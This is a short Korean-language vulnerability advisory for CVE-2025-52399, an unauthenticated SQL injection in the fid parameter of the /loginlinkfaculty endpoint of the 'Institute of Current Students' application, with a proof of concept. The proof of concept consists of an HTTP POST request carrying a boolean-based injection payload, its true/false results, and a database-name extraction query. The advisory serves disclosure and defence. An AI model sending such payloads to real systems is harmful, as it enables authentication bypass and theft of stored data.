CVE-2025-52399 - Institute of Current Students의 SQL 인젝션

요약

Institute-of-Current-Students 애플리케이션의 loginlinkfaculty 엔드포인트는 fid POST 파라미터를 통해 SQL 인젝션에 취약합니다. 이 파라미터는 SQL 쿼리에서 사용되기 전에 적절하게 이스케이프 처리되지 않아, 원격 공격자가 임의의 SQL 명령을 실행할 수 있습니다.

• 취약점 유형: SQL 인젝션
• 영향받는 구성 요소: /loginlinkfaculty (POST)
• 영향받는 파라미터: fid
• 인증: 필요하지 않음
• 영향: 인증 우회, 데이터 추출
• 테스트 환경: Localhost
• 데이터베이스: icsnew
• 버전: 1.0

PoC

HTTP 요청

POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+3*2*1=6+AND+000942=000942--&pass=example

페이로드 결과

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → TRUE ❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSE

데이터베이스 추출

SELECT database(); -- 'icsnew' 반환

참고 자료

• CVE-2025-52399 (MITRE)
• 취약한 애플리케이션
• OWASP SQL 인젝션

발견자

Isroil Mustafoqulov